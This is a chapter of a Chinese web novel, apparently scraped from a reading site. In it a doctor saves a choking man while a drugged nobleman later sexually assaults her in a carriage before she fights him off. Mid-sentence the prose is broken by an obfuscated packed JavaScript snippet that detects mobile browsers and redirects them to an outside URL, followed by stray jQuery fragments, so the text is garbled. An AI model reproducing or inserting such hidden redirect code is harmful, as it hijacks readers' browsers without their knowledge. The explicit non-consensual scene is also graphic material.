默认冷灰
24号文字
方正启体

20. 花香

作者:相才本书字数:K更新时间:
    此刻,一直静立在旁的谢玉岱忽然动身,极其自然地站在窗前,恰好将两人与窗隔开。


    颀长挺拔的身影存在感极强,两人皆不约而同地看向他。


    “此雅间临窗,湖风甚急。”


    “那便将这窗关了,只是可惜这一番美景。”苏瑟瑟话虽如此,可面上的笑意丝毫未减。


    她抬手示意一旁的侍女斟茶,“这是新得的云山雾尖,水是今晨收的荷露,公子尝尝。”


    谢玉岱从容落座,端起茶盏浅啜一口,“茶汤清冽,又添一丝荷香,苏小姐费心了。”


    “姜姐姐也请用茶,”她亲自将另一盏茶端到人面前,“尝尝可合口味?”


    姜祝余道了谢,双手接过,低头一口抿尽。茶是好茶,可她什么滋味也尝不出来,只觉得舌尖微微发苦。


    站在苏瑟瑟身后的一名绿衣侍女没忍住,“噗嗤”一声。虽立刻用袖子遮掩,但那笑声里毫不掩饰的嘲弄,还是清晰地钻进了每个人的耳朵。


    姜祝余的脸腾地一下红了,捏着空茶杯的手指微微发白,窘迫得恨不得找个地缝钻进去。


    苏瑟瑟脸上的笑容淡了下去,“灵萍,何时这般没规没矩?”


    名叫灵萍的侍女脸色一白,慌忙低下头:“小姐恕罪,灵萍知错了。”


    “姜大夫是谢公子的贵客,更是我的座上宾。她虽不是什么高门贵女,但也师从名医。”苏瑟瑟语气平和,却字字清晰,“她行事洒脱,岂是你能置喙的?这般眼皮子浅,冲撞了客人,还不向姜大夫赔罪。”


    灵萍连忙朝着姜祝余屈膝,声音有些发颤:“婢子失态,请姜大夫宽恕。”


    姜祝余摆了摆手,忙打圆场道:“没关系的。”


    苏瑟瑟轻轻叹了口气,似乎对侍女的失态很是失望。“罢了,你在这里反倒让人不自在。出去候着吧,这不用你伺候。”


    “小姐,”灵萍抬头,眼中有些委屈,但在自家小姐不容置疑的目光下,还是讷讷地应了声“是”,低着头退出雅间。


    室内一时静默。


    苏瑟瑟脸上带着歉意,又替姜祝余斟了半盏茶,言语恳切地说道:“婢子不懂事,倒扰了姜姐姐品茶的兴致。”


    姜祝余讪讪地接过,“苏小姐言重了,是我不太懂这些。”


    不过半炷香,楼下骤然传来一阵喧哗。起初只是几声惊呼,随即人声变得嘈杂,还夹杂着慌乱的脚步声。


    “有人晕倒了!”


    “快,快去找大夫。”


    “楼下似乎出事了?”苏瑟瑟话音刚落,雅间的门便被轻轻推开。方才被赶去的灵萍急声禀告:“小姐不好了,楼下有位老者不知何故突然昏厥,脸色发紫,掌柜的已差人去请最近医馆的大夫,但怕是来不及……”


    人命关天,姜祝余立即起身,神色凝重。


    谢玉岱抬首,视线落在她瞬间变得专注而急切的脸上,“去吧。”


    姜祝余此刻全部心思都已飞到了楼下,只匆匆向两人点头:“我先下去看看。”说罢,便拎起裙摆,脚步急促地消失在楼梯方向,只余谢、苏二人。


    若有似无的花香,无声无息地在雅间蔓延。


    “真希望那位老人家能逢凶化吉。不过,姜姐姐医术高明,定能化险为夷。”苏瑟瑟脸上带着恰到好处的忧虑,柔声道。


    谢玉岱微微颔首,并未多言,只是又替自己斟了半盏茶。


    时间悄然流逝,楼下的喧哗渐渐平息,局面似乎已被控制。而雅间内的温度,却在不知不觉中攀升。


    苏瑟瑟率先察觉到异样,起初只是微微燥热,脸颊泛起不正常的红晕。她用手中轻轻扇了扇,不仅没能带来清凉,反倒燥意更甚。


    她抬眼看向对面的男人,低垂着眼,依旧端坐着。长睫掩住了眸底的神色,只见那只握着茶杯的手,青筋浮现。


    “谢公子,”她声音绵软,“可觉得闷热?”话一出口,才惊觉自己的嗓音竟有些喑哑。


    男人抬眸,双眼依旧深邃。可若仔细去看,便会发现早已不复往日的清明。


    谢玉岱盯着眼前的女子,双颊酡红,眼波迷离,葱白的手指无意识地绞着衣带,恍若无声地邀请。


    苏瑟瑟的心跳陡然漏了一拍,脸颊烧得更厉害,体内的热意也越来越明显,带来酥麻空虚之感。


    花香丝丝缕缕,无孔不入。


    理智在高温下融化,欲望正疯狂滋长。苏瑟瑟浑身发软,她咬了咬下唇,“公子,瑟瑟好难受。”


    谢玉岱呼吸明显重了几分,他用力摇了摇头,试图唤醒理智。


    不行,他需离开这里,立刻马上。


    他猛地站起,朝着门踉跄了几步。然苏瑟瑟也跟着站起来,抱住他吐气如兰:“你别走。”


    ——


    大堂已乱作一团,茶客们惊慌地围成圆,对着中间指指点点,却无人敢上前。人群中心,一位约莫六旬的老者瘫倒在地,双目紧闭、面色紫绀。


    “都让一让,我是大夫。”姜祝余拨开人群,声音带着不容置疑。她迅速跪倒在老者身侧,伸手去探其鼻息,非常微弱。


    “掌柜的、掌柜的!”她高声呼道:“他晕倒之前是什么表现?”


    一位自称掌柜的女子走上前来,脸上还带着惊魂未定的表情。“也不知怎地,他忽然就喘不上气。问他什么也不说,只一味地抓挠自己的脖颈。”


    姜祝余边听边环顾四周,视线落在不远处的地面,有半个吃剩的糕点。


    过敏引起喉头水肿?还是气道异物梗阻?


    不对,喉头水肿仍可对答。但按照掌柜的表述,老者不仅不能对话,还出现了标志性的“V”形手势。


    她轻捶了一下自己的脑袋,怎么没反应过来呢?


    “快,来个人帮我把老人家扶起来。”姜祝余不慌不忙地下达指令,旁人依言将瘫软的老者扶起,按照她的要求使其身体前倾。


    脑海中清晰浮现急救动作的要领,她绕到老者背后,双臂从他腋下穿过,环抱住其上腹部。一手握拳,拳眼对准老者肚脐上方两指,另一只手包住拳头。


    动作用力而快速地向老者的上腹部冲击,一下、两下、三下……


    周围人群讨论声渐起:


    “她在干什么?”


    “这样能救人?”


    正当姜祝余全神贯注、心无旁骛地施救时,一只滚烫的手猛地攫住她的手腕,硬生生的将她从老者背后扯开。


    她愕然抬头,是谢玉岱。


    男人眼尾泛着不正常的红,呼吸也比平时急促。唇色鲜红,掌心温度高得吓人,甚至微微有些颤抖。


    “你怎……”姜祝余的话还没说完,就被他拖着冲出人群。


    她拼命挣扎,“你放开我,我在救人!”可他的力气大得惊人,她根本挣脱不开。


    谢玉岱对她的呼喊声充耳不闻,额角渗出细密的汗珠,沿着下颌滑落。他拉着姜祝余,目标明确地朝楼外的马车走去。


    手腕被抓得生疼,心头愤怒夹杂着委屈,她挣扎得更厉害。


    “谢玉岱!你给我把手松开。”她用另一只手去掰他的手指,直到见了血,他也没松开手。


    忽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125477|196046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然脚步趔趄,眼看着即将向前摔去。他眼疾手快地搂着姜祝余,将其换了个方向。后背重重地撞在门廊的柱子上,他发出一声闷哼。


    他喘息更重了,滚烫的呼吸拂过她的耳廓,声音低哑:“姜祝余,你看不出我的情况吗?”


    两人咫尺之遥,她能清楚地察觉到他的异常,可是……


    “我需要你!”谢玉岱高声打断她的思绪。


    姜祝余抿了抿嘴,“可是那位老者病情更重,比你更需要大夫。”


    谢玉岱脸色一变,像是没料到她会给出这样的回答。整个人如同被泼了冷水般,眼中翻腾的欲念被迅速压下。


    趁着他片刻失神,她用尽全身力气挣开谢玉岱,扯下腰间的药袋子塞到他的手里,“里面有清心丸,你吃了会好受一点。”


    之后便不再犹豫,转身离去。


    “你莫不是忘了自己的身份?你是我、的、大夫,”他死死地盯着姜祝余的背影,说出的话像是淬了毒,“你确定要不顾我的死活,去救那个贱民?”


    那我在你心里,也只不过是一个贱民吗?姜祝余皱着眉。


    她蓦然回首,目光毫不退缩地迎上他那双可怖的眼睛。“我只看病情轻重,不看人命贵贱。”


    说罢,她便头也不回地跑回大堂。


    [好感度-20,当前好感度-85。]


    刚歇下的系统不可置信地指着眼前的数值,两眼一闭,无力地瘫倒。


    能换个宿主吗?这人没救了。


    姜祝余无暇顾及,大堂内人群依旧围着,只是气氛却与刚才不同。原来是掌柜在她离开后,学着她的动作,将老者气道中的异物撞了出来。


    老者转危为安。


    可她有两个患者,解决了一个,还有另一个。她不再思索,拔腿便向楼外的马车奔去,甚至来不及同旁人说一声。


    “你这人怎么跑来跑去?”


    姜祝余气喘吁吁地跑到车边,手刚掀开车帘,便被一股不容抗拒的力量拽入车厢。


    她连人都还没看清,就被狠狠地摔在车厢地面。脊背撞上硬物,发出一声痛呼。


    紧接着,一具灼热的身体覆了上来,将她完全笼罩在他的阴影和气息之下。


    视线聚焦,姜祝余对上一双侵略性十足的眼睛。眼中那毫不掩饰的欲念,让她本能地害怕。她撑起身子想逃,却被人一把扣住,摁回粗糙的毯子上。


    谢玉岱俯视着她,额角青筋暴起,领口凌乱,哪里还有半分往日的君子姿态。


    “公子……”她试探性唤他,“你用过药了么?”


    他并未回答,赫然埋首在她的颈窝。唇舌毫无章法地在她的肌肤上吸允、打转,留下湿润的痕迹。衣领被粗暴地咬开,露出一小截白皙的锁骨。


    “不要、我不要……”她拼命抵抗,却如蚍蜉撼树,不能撼动他分毫。


    他的手隔着衣物,捏上她的丰盈。似是还不知足,指尖顺着腰身,手法娴熟地向下探去。


    眼见着事态朝着不可估量的方向发展,姜祝余偏过头,对着那只近在眼前的耳朵,狠狠地咬了上去,血腥味弥漫在唇齿间。


    钳制她的力道骤然松懈,她抓住时机,用尽浑身力气猛地将他推翻,连滚带爬地缩到角落。她胸口剧烈起伏,手里还紧紧攥着刚从地上摸到的软骨散。


    剧痛短暂地唤起谢玉岱的神志,他撑着身子,缓缓坐直,双眸不再全然混沌。


    蜷缩在角落女子警惕地盯着他,乌发散乱,贴在汗湿的额角与颈边。衣襟已被扯得松散。像只被逼到绝境的困兽,伺机而动。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)